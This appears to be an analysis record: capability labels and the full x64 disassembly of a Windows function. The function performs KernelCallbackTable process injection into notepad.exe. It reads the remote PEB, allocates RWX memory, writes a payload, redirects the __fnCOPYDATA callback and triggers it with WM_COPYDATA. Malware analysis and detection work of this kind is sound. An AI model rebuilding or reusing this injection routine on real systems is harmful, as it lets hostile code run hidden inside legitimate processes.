Function at 0x140011294
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call

Disassembly:
jmp 0x1400118f0
push rbp
push rdi
mov eax, 0x14c8
call fcn.1400110b4
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x39e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x1468], rax
lea rcx, [0x1400240a3]
call fcn.1400113a7
movzx eax, byte [0x14001af90]
mov byte [rbp + 4], al
mov qword [rbp + 0x28], 1
mov dword [rbp + 0x80], 0x68
lea rax, [rbp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov dword [rbp + 0xbc], 1
xor eax, eax
mov word [rbp + 0xc0], ax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0x3e8
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.USER32.dll_WaitForInputIdle]
xor edx, edx
lea rcx, str.Notepad
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rbp + 0x108], rax
mov rdx, qword [rbp + 0x108]
lea rcx, str.___Window_Handle:_0x_p_n
call fcn.1400111ae
lea rdx, [rbp + 0x124]
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [rbp + 0x124]
lea rcx, str.___Process_ID:__d_n
call fcn.1400111ae
mov r8d, dword [rbp + 0x124]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x148], rax
mov rdx, qword [rbp + 0x148]
lea rcx, str.___Process_Handle:_0x_p_n
call fcn.1400111ae
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1b8], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
lea r8, [rbp + 0x168]
xor edx, edx
mov rcx, qword [rbp + 0x148]
call qword [rbp + 0x1b8]
mov qword [rsp + 0x20], 0
mov r9d, 0x7c8
lea r8, [rbp + 0x1e0]
mov rdx, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [rbp + 0x170]
lea rcx, str.___PEB_Address:_0x_p_n
call fcn.1400111ae
mov qword [rsp + 0x20], 0
mov r9d, 0x400
lea r8, [rbp + 0x9d0]
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [rbp + 0x238]
lea rcx, str.___KernelCallbackTable_Address:_0x_p_n
call fcn.1400111ae
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x28]
xor edx, edx
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xde8], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x28]
lea r8, [rbp + 4]
mov rdx, qword [rbp + 0xde8]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rbp + 0xde8]
lea rcx, str.___Payload_Address:_0x_p_n
call fcn.1400111ae
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x400
xor edx, edx
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xe08], rax
mov rax, qword [rbp + 0xde8]
mov qword [rbp + 0x9d0], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x400
lea r8, [rbp + 0x9d0]
mov rdx, qword [rbp + 0xe08]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rbp + 0x9d0]
lea rcx, str._____fnCOPYDATA:_0x_p_n
call fcn.1400111ae
mov rax, qword [rbp + 0x170]
add rax, 0x58
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rbp + 0xe08]
mov rdx, rax
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.___Remote_process_PEB_updated_n
call fcn.1400111ae
mov rax, qword [0x14001b150]
mov qword [rbp + 0xe58], rax
mov qword [rbp + 0xe28], 1
lea rcx, [rbp + 0xe58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [rbp + 0xe30], eax
lea rax, [rbp + 0xe58]
mov qword [rbp + 0xe38], rax
lea r9, [rbp + 0xe28]
mov r8, qword [rbp + 0x108]
mov edx, 0x4a
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.USER32.dll_SendMessageW]
lea rcx, str.___Payload_executed_n
call fcn.1400111ae
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001aef0]
call fcn.140011334
mov eax, edi
mov rcx, qword [rbp + 0x1468]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x1478]
pop rdi
pop rbp
ret